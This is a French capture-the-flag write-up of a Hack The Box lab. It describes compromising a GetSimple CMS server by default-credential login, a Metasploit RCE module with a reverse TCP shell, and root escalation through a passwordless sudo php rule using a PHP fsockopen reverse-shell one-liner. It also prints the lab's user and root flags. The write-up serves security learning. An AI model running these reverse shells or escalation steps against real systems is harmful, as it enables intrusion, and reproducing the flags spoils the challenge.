Writeup - GetSimpleCMS (HTB Knowledge Check)
🎓 Introduction
Dans ce challenge de contrôle des connaissances sur Hack The Box, notre objectif était de compromettre un serveur tournant sous GetSimple CMS, d'obtenir un shell sur la machine, puis d'escalader les privilèges jusqu'à root.
Nous détaillerons ci-dessous les étapes menées : de la phase de reconnaissance à la récupération des deux flags user.txt
et root.txt
, avec des outils standards comme nmap
, metasploit
, netcat
, et python3
.
🔎 Phase de reconnaissance
Ajout de l'adresse cible à /etc/hosts
:
/etc/hosts
:10.xx.xx.xx aca.htb
Scan initial avec nmap
nmap
nmap -sV --open -oA eval_scan aca.htb
Résultat :
Port 22 (SSH) ouvert : OpenSSH 8.2p1
Port 80 (HTTP) ouvert : Apache 2.4.41
Enumération HTTP
nmap -sV --script=http-enum -oA http_enum aca.htb
Résultat :
/admin/
: dossier d'administration/backups/
: dossier de sauvegardes/data/
,/robots.txt
: autres points d'intérêt
Script de base
nmap -sC -p 22,80 -oA eval_script aca.htb
robots.txt
interdit/admin/
Titre de page : Welcome to GetSimple! - gettingstarted
🔧 Exploitation de GetSimple CMS
Connexion à l'interface admin
Naviguer vers http://aca.htb/admin
nous affiche une page de connexion. Nous tentons l'identifiant par défaut :
Identifiants : admin:admin
Succès de la connexion.
Version de CMS identifiée
GetSimple CMS v3.3.15 affichée en bas de page.
Recherche d'exploits
Lancement de msfconsole
puis recherche :
search exploit GetSimpleCMS
On retient le module :
exploit/multi/http/getsimplecms_unauth_code_exec
Utilisation de l'exploit
use exploit/multi/http/getsimplecms_unauth_code_exec
On change le payload par un shell plus simple :
set payload generic/shell_reverse_tcp
set RHOSTS 10.xx.xx.xx
set LHOST 10.xx.xx.xx
set LPORT 4444
exploit
Connexion reçue :
id
uid=33(www-data) gid=33(www-data)
✨ Shell interactif et escalade initiale
Amélioration du shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Accès au flag utilisateur
cd /home/mrb3n
ls
cat user.txt
Flag utilisateur : 7002d65b149b0a4d19132a66feed21d8
🔒 Escalade de privilèges vers root
Analyse des permissions
sudo -l
Sortie :
(ALL : ALL) NOPASSWD: /usr/bin/php
L'utilisateur www-data
peut exécuter PHP en tant que root sans mot de passe.
Reverse shell en root
Lancement d'un netcat
en attente :
nc -lvnp 4444
Puis exécution sur la cible :
sudo php -r '$sock=fsockopen("10.xx.xx.xx ",4444);shell_exec("sh <&3 >&3 2>&3");'
Connexion reçue en tant que root :
id
uid=0(root)
Shell interactif et flag root
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /root
cat root.txt
Flag root : f1fba6e9f71efb2630e6e34da6387842
🔐 Récapitulatif des flags
Niveau
Utilisateur
Flag
User
mrb3n
7002d65b149b0a4d19132a66feed21d8
Root
root
f1fba6e9f71efb2630e6e34da6387842
🌟 Conclusion
Cette box proposait une belle chaîne de compromission typique d’une attaque sur un CMS vulnérable : reconnaissance basique, exploitation d'une RCE via Metasploit, puis escalade de privilèges par un sudo
mal configuré.
Mis à jour